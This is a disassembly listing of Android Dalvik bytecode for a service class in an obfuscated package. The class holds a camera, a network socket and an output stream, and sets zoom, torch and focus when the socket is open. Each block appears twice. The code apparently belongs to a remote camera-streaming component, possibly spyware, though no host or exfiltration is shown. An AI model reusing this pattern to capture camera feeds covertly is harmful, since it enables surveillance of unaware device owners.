00084d84invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Object;)Ljava/lang/String;
00084d8amove-result-object v1
00084d8creturn-object v1
00084d74
00084d74cmf0.c3b5bm90zq.patch.C5$a::doInBackground(java.lang.Object[]):
00084d84invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Object;)Ljava/lang/String;
00084d8amove-result-object v1
00084d8creturn-object v1
00084d74
00084d8e
00084d8e // align 0x10
00084d8e // align 0x10
00084d90
00084d90cmf0.c3b5bm90zq.patch.C5$a::onPostExecute(java.lang.Object):
00084da0check-cast v1, Ljava/lang/String;
00084da4invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a(Ljava/lang/String;)V
00084daareturn-void
00084d90
00084d90cmf0.c3b5bm90zq.patch.C5$a::onPostExecute(java.lang.Object):
00084da0check-cast v1, Ljava/lang/String;
00084da4invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a(Ljava/lang/String;)V
00084daareturn-void
00084d90
00084dac
00084daccmf0.c3b5bm90zq.patch.C5$a::onPreExecute():
00084dbcinvoke-super {v0}, Landroid/os/AsyncTask;->onPreExecute()V
00084dc2return-void
00084dac
00084daccmf0.c3b5bm90zq.patch.C5$a::onPreExecute():
00084dbcinvoke-super {v0}, Landroid/os/AsyncTask;->onPreExecute()V
00084dc2return-void
00084dac
00084dc4
00084dc4cmf0.c3b5bm90zq.patch.C5$a::onProgressUpdate(java.lang.Object[]):
00084dd4check-cast v1, [Ljava/lang/Integer;
00084dd8invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Integer;)V
00084ddereturn-void
00084dc4
00084dc4cmf0.c3b5bm90zq.patch.C5$a::onProgressUpdate(java.lang.Object[]):
00084dd4check-cast v1, [Ljava/lang/Integer;
00084dd8invoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/C5$a;->a([Ljava/lang/Integer;)V
00084ddereturn-void
00084dc4
00084de0
00084de0cmf0.c3b5bm90zq.patch.C5::<clinit>():
00084df0new-instance v0, Ljava/lang/Object;
00084df4invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00084dfasput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
00084dfereturn-void
00084de0
00084de0cmf0.c3b5bm90zq.patch.C5::<clinit>():
00084df0new-instance v0, Ljava/lang/Object;
00084df4invoke-direct {v0}, Ljava/lang/Object;-><init>()V
00084dfasput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
00084dfereturn-void
00084de0
00084e00
00084e00cmf0.c3b5bm90zq.patch.C5::<init>():
00084e10invoke-direct {v3}, Landroid/app/Service;-><init>()V
00084e16const-wide/16 v0, 0x0
00084e1aiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->r:J
00084e1eiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084e22const/4 v0, 0x0
00084e24iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00084e28iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
00084e2ciput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
00084e30invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084e36move-result-wide v1
00084e38iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->u:J
00084e3cconst/16 v1, 0x43
00084e40iput v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->v:I
00084e44iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00084e48new-instance v0, Ljava/util/ArrayList;
00084e4cinvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
00084e52iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
00084e56new-instance v0, Ljava/util/ArrayList;
00084e5ainvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
00084e60iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
00084e64return-void
00084e00
00084e00cmf0.c3b5bm90zq.patch.C5::<init>():
00084e10invoke-direct {v3}, Landroid/app/Service;-><init>()V
00084e16const-wide/16 v0, 0x0
00084e1aiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->r:J
00084e1eiput-wide v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084e22const/4 v0, 0x0
00084e24iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
00084e28iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
00084e2ciput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
00084e30invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
00084e36move-result-wide v1
00084e38iput-wide v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->u:J
00084e3cconst/16 v1, 0x43
00084e40iput v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->v:I
00084e44iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00084e48new-instance v0, Ljava/util/ArrayList;
00084e4cinvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
00084e52iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
00084e56new-instance v0, Ljava/util/ArrayList;
00084e5ainvoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
00084e60iput-object v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
00084e64return-void
00084e00
00084e66
00084e66 // align 0x8
00084e66 // align 0x8
00084e68
00084e68cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, long):
00084e78iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->r:J
00084e7creturn-wide v1
00084e68
00084e68cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, long):
00084e78iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->r:J
00084e7creturn-wide v1
00084e68
00084e7e
00084e7e // align 0x10
00084e7e // align 0x10
00084e80
00084e80cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, java.io.OutputStream):
00084e90iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00084e94return-object v1
00084e80
00084e80cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, java.io.OutputStream):
00084e90iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00084e94return-object v1
00084e80
00084e96
00084e96 // align 0x8
00084e96 // align 0x8
00084e98
00084e98cmf0.c3b5bm90zq.patch.C5::a(java.net.Socket):
00084ea8sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00084eacreturn-object v0
00084e98
00084e98cmf0.c3b5bm90zq.patch.C5::a(java.net.Socket):
00084ea8sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00084eacreturn-object v0
00084e98
00084eae
00084eae // align 0x10
00084eae // align 0x10
00084eb0
00084eb0cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5):
00084ec0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
00084ec6return-void
00084eb0
00084eb0cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5):
00084ec0invoke-direct {v0}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
00084ec6return-void
00084eb0
00084ec8
00084ec8cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, boolean):
00084ed8iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00084edcreturn v1
00084ec8
00084ec8cmf0.c3b5bm90zq.patch.C5::a(cmf0.c3b5bm90zq.patch.C5, boolean):
00084ed8iput-boolean v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
00084edcreturn v1
00084ec8
00084ede
00084ede // align 0x10
00084ede // align 0x10
00084ee0
00084ee0cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5, long):
00084ef0iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->u:J
00084ef4return-wide v1
00084ee0
00084ee0cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5, long):
00084ef0iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->u:J
00084ef4return-wide v1
00084ee0
00084ef6
00084ef6 // align 0x8
00084ef6 // align 0x8
00084ef8
00084ef8cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5):
00084f08iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00084f0creturn-object v0
00084ef8
00084ef8cmf0.c3b5bm90zq.patch.C5::b(cmf0.c3b5bm90zq.patch.C5):
00084f08iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00084f0creturn-object v0
00084ef8
00084f0e
00084f0e // align 0x10
00084f0e // align 0x10
00084f10
00084f10cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5):
00084f20iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084f24return-wide v0
00084f10
00084f10cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5):
00084f20iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084f24return-wide v0
00084f10
00084f26
00084f26 // align 0x8
00084f26 // align 0x8
00084f28
00084f28cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5, long):
00084f38iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084f3creturn-wide v1
00084f28
00084f28cmf0.c3b5bm90zq.patch.C5::c(cmf0.c3b5bm90zq.patch.C5, long):
00084f38iput-wide v1, v0, Lcmf0/c3b5bm90zq/patch/C5;->s:J
00084f3creturn-wide v1
00084f28
00084f3e
00084f3e // align 0x10
00084f3e // align 0x10
00084f40
00084f40cmf0.c3b5bm90zq.patch.C5::c():
00084f50sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084f54if-eqz v0, :cond_bd
00084f58sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00084f5cif-eqz v0, :cond_bd
00084f60sget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
00084f64sget v1, Lcmf0/c3b5bm90zq/patch/C5;->k:I
00084f68if-eq v0, v1, :cond_12
00084f6csget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
00084f70sput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
00084f74sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
00084f78sget v1, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084f7cif-eq v0, v1, :cond_1c
00084f80sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
00084f84sput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084f88sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
00084f8csget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084f90if-eq v0, v1, :cond_3c
00084f94sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
00084f98sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084f9csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fa0invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084fa6move-result-object v0
00084fa8invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
00084faemove-result v1
00084fb0if-eqz v1, :cond_3c
00084fb4sget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084fb8invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
00084fbesget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fc2invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00084fc8sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
00084fccsget v1, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00084fd0const/4 v2, 0x1
00084fd2if-eq v0, v1, :cond_83
00084fd6sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
00084fdasput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00084fdesget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fe2invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084fe8move-result-object v0
00084feainvoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
00084ff0move-result-object v1
00084ff2sget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084ff6invoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084ffcmove-result-object v3
00084ffeinvoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
00085004move-result-object v3
00085006if-eqz v3, :cond_83
0008500asget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
0008500eif-ne v3, v2, :cond_6f
00085012const-string v3, "torch"
00085016invoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
0008501cmove-result v1
0008501eif-eqz v1, :cond_7e
00085022const-string v1, "torch"
00085026invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
0008502cgoto :goto_7e
0008502esget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00085032if-nez v3, :cond_7e
00085036const-string v3, "torch"
0008503ainvoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
00085040move-result v1
00085042if-eqz v1, :cond_7e
00085046const-string v1, "off"
0008504agoto :goto_6b
0008504csget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085050invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00085056sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
0008505asget v1, Lcmf0/c3b5bm90zq/patch/C5;->i:I
0008505eif-eq v0, v1, :cond_bd
00085062sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
00085066sput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
0008506asget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008506einvoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085074move-result-object v0
00085076invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
0008507cmove-result-object v1
0008507esget v3, Lcmf0/c3b5bm90zq/patch/C5;->i:I
00085082if-ne v3, v2, :cond_a9
00085086const-string v2, "continuous-video"
0008508ainvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
00085090move-result v1
00085092if-eqz v1, :cond_b8
00085096const-string v1, "continuous-video"
0008509ainvoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
000850a0goto :goto_b8
000850a2sget v2, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000850a6if-nez v2, :cond_b8
000850aaconst-string v2, "auto"
000850aeinvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000850b4move-result v1
000850b6if-eqz v1, :cond_b8
000850baconst-string v1, "auto"
000850begoto :goto_a5
000850c0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000850c4invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
000850careturn-void
00084f40
00084f40cmf0.c3b5bm90zq.patch.C5::c():
00084f50sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084f54if-eqz v0, :cond_bd
00084f58sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00084f5cif-eqz v0, :cond_bd
00084f60sget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
00084f64sget v1, Lcmf0/c3b5bm90zq/patch/C5;->k:I
00084f68if-eq v0, v1, :cond_12
00084f6csget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
00084f70sput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
00084f74sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
00084f78sget v1, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084f7cif-eq v0, v1, :cond_1c
00084f80sget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
00084f84sput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
00084f88sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
00084f8csget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084f90if-eq v0, v1, :cond_3c
00084f94sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
00084f98sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084f9csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fa0invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084fa6move-result-object v0
00084fa8invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
00084faemove-result v1
00084fb0if-eqz v1, :cond_3c
00084fb4sget v1, Lcmf0/c3b5bm90zq/patch/C5;->j:I
00084fb8invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
00084fbesget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fc2invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00084fc8sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
00084fccsget v1, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00084fd0const/4 v2, 0x1
00084fd2if-eq v0, v1, :cond_83
00084fd6sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
00084fdasput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00084fdesget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084fe2invoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084fe8move-result-object v0
00084feainvoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
00084ff0move-result-object v1
00084ff2sget-object v3, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00084ff6invoke-virtual {v3}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00084ffcmove-result-object v3
00084ffeinvoke-virtual {v3}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
00085004move-result-object v3
00085006if-eqz v3, :cond_83
0008500asget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
0008500eif-ne v3, v2, :cond_6f
00085012const-string v3, "torch"
00085016invoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
0008501cmove-result v1
0008501eif-eqz v1, :cond_7e
00085022const-string v1, "torch"
00085026invoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
0008502cgoto :goto_7e
0008502esget v3, Lcmf0/c3b5bm90zq/patch/C5;->h:I
00085032if-nez v3, :cond_7e
00085036const-string v3, "torch"
0008503ainvoke-interface {v1, v3}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
00085040move-result v1
00085042if-eqz v1, :cond_7e
00085046const-string v1, "off"
0008504agoto :goto_6b
0008504csget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
00085050invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
00085056sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
0008505asget v1, Lcmf0/c3b5bm90zq/patch/C5;->i:I
0008505eif-eq v0, v1, :cond_bd
00085062sget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
00085066sput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
0008506asget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
0008506einvoke-virtual {v0}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
00085074move-result-object v0
00085076invoke-virtual {v0}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
0008507cmove-result-object v1
0008507esget v3, Lcmf0/c3b5bm90zq/patch/C5;->i:I
00085082if-ne v3, v2, :cond_a9
00085086const-string v2, "continuous-video"
0008508ainvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
00085090move-result v1
00085092if-eqz v1, :cond_b8
00085096const-string v1, "continuous-video"
0008509ainvoke-virtual {v0, v1}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
000850a0goto :goto_b8
000850a2sget v2, Lcmf0/c3b5bm90zq/patch/C5;->i:I
000850a6if-nez v2, :cond_b8
000850aaconst-string v2, "auto"
000850aeinvoke-interface {v1, v2}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
000850b4move-result v1
000850b6if-eqz v1, :cond_b8
000850baconst-string v1, "auto"
000850begoto :goto_a5
000850c0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
000850c4invoke-virtual {v1, v0}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
000850careturn-void
00084f40
000850cc
000850cc struct try_item
000850cc start_addr uint32 0x84f50
000850d0 insn_count int 189
000850d2 handler_off uint16 0x850d5
000850d4
000850d4 struct encoded_catch_handler_list
000850d4 size int 1
000850d5
000850d5 struct encoded_catch_handler ← 0x850d2
000850d5 size int64 1
000850d6 handlers[0].type_idx int 0x5994
000850d8 handlers[0].addr uint32 0x850ca
000850da
000850da // align 0x4
000850cc struct try_item
000850cc start_addr uint32 0x84f50
000850d0 insn_count int 189
000850d2 handler_off uint16 0x850d5
000850d4
000850d4 struct encoded_catch_handler_list
000850d4 size int 1
000850d5
000850d5 struct encoded_catch_handler ← 0x850d2
000850d5 size int64 1
000850d6 handlers[0].type_idx int 0x5994
000850d8 handlers[0].addr uint32 0x850ca
000850da
000850da // align 0x4
000850dc
000850dccmf0.c3b5bm90zq.patch.C5::d(cmf0.c3b5bm90zq.patch.C5):
000850eciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->r:J
000850f0return-wide v0
000850dc
000850dccmf0.c3b5bm90zq.patch.C5::d(cmf0.c3b5bm90zq.patch.C5):
000850eciget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->r:J
000850f0return-wide v0
000850dc
000850f2
000850f2 // align 0x4
000850f2 // align 0x4
000850f4
000850f4cmf0.c3b5bm90zq.patch.C5::d():
00085104sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00085108return-object v0
000850f4
000850f4cmf0.c3b5bm90zq.patch.C5::d():
00085104sget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00085108return-object v0
000850f4
0008510a
0008510a // align 0x4
0008510a // align 0x4
0008510c
0008510ccmf0.c3b5bm90zq.patch.C5::e():
0008511csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
00085120return-object v0
0008510c
0008510ccmf0.c3b5bm90zq.patch.C5::e():
0008511csget-object v0, Lcmf0/c3b5bm90zq/patch/C5;->t:Ljava/lang/Object;
00085120return-object v0
0008510c
00085122
00085122 // align 0x4
00085122 // align 0x4
00085124
00085124cmf0.c3b5bm90zq.patch.C5::e(cmf0.c3b5bm90zq.patch.C5):
00085134iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
00085138return-object v0
00085124
00085124cmf0.c3b5bm90zq.patch.C5::e(cmf0.c3b5bm90zq.patch.C5):
00085134iget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->x:Ljava/util/List;
00085138return-object v0
00085124
0008513a
0008513a // align 0x4
0008513a // align 0x4
0008513c
0008513ccmf0.c3b5bm90zq.patch.C5::f(cmf0.c3b5bm90zq.patch.C5):
0008514ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
00085150return-object v0
0008513c
0008513ccmf0.c3b5bm90zq.patch.C5::f(cmf0.c3b5bm90zq.patch.C5):
0008514ciget-object v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->y:Ljava/util/List;
00085150return-object v0
0008513c
00085152
00085152 // align 0x4
00085152 // align 0x4
00085154
00085154cmf0.c3b5bm90zq.patch.C5::f():
00085164const/4 v0, 0x0
00085166sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
0008516aif-eqz v1, :cond_c
0008516esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00085172invoke-virtual {v1}, Ljava/net/Socket;->close()V
00085178sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
0008517ciget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085180if-eqz v1, :cond_17
00085184iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085188invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
0008518eiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085192return-void
00085154
00085154cmf0.c3b5bm90zq.patch.C5::f():
00085164const/4 v0, 0x0
00085166sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
0008516aif-eqz v1, :cond_c
0008516esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
00085172invoke-virtual {v1}, Ljava/net/Socket;->close()V
00085178sput-object v0, Lcmf0/c3b5bm90zq/patch/C5;->m:Ljava/net/Socket;
0008517ciget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085180if-eqz v1, :cond_17
00085184iget-object v1, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085188invoke-virtual {v1}, Ljava/io/OutputStream;->close()V
0008518eiput-object v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->n:Ljava/io/OutputStream;
00085192return-void
00085154
00085194
00085194 struct try_item
00085194 start_addr uint32 0x85166
00085198 insn_count int 11
0008519a handler_off uint16 0x851a5
0008519c
0008519c struct try_item
0008519c start_addr uint32 0x8517c
000851a0 insn_count int 11
000851a2 handler_off uint16 0x851a9
000851a4
000851a4 struct encoded_catch_handler_list
000851a4 size int 2
000851a5
000851a5 struct encoded_catch_handler ← 0x8519a
000851a5 size int64 1
000851a6 handlers[0].type_idx int 0x5994
000851a8 handlers[0].addr uint32 0x8517c
000851a9
000851a9 struct encoded_catch_handler ← 0x851a2
000851a9 size int64 1
000851aa handlers[0].type_idx int 0x5994
000851ac handlers[0].addr uint32 0x85192
000851ad
000851ad // align 0x10
00085194 struct try_item
00085194 start_addr uint32 0x85166
00085198 insn_count int 11
0008519a handler_off uint16 0x851a5
0008519c
0008519c struct try_item
0008519c start_addr uint32 0x8517c
000851a0 insn_count int 11
000851a2 handler_off uint16 0x851a9
000851a4
000851a4 struct encoded_catch_handler_list
000851a4 size int 2
000851a5
000851a5 struct encoded_catch_handler ← 0x8519a
000851a5 size int64 1
000851a6 handlers[0].type_idx int 0x5994
000851a8 handlers[0].addr uint32 0x8517c
000851a9
000851a9 struct encoded_catch_handler ← 0x851a2
000851a9 size int64 1
000851aa handlers[0].type_idx int 0x5994
000851ac handlers[0].addr uint32 0x85192
000851ad
000851ad // align 0x10
000851b0
000851b0cmf0.c3b5bm90zq.patch.C5::g(cmf0.c3b5bm90zq.patch.C5):
000851c0iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
000851c4return v0
000851b0
000851b0cmf0.c3b5bm90zq.patch.C5::g(cmf0.c3b5bm90zq.patch.C5):
000851c0iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
000851c4return v0
000851b0
000851c6
000851c6 // align 0x8
000851c6 // align 0x8
000851c8
000851c8cmf0.c3b5bm90zq.patch.C5::h(cmf0.c3b5bm90zq.patch.C5):
000851d8iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->u:J
000851dcreturn-wide v0
000851c8
000851c8cmf0.c3b5bm90zq.patch.C5::h(cmf0.c3b5bm90zq.patch.C5):
000851d8iget-wide v0, v2, Lcmf0/c3b5bm90zq/patch/C5;->u:J
000851dcreturn-wide v0
000851c8
000851de
000851de // align 0x10
000851de // align 0x10
000851e0
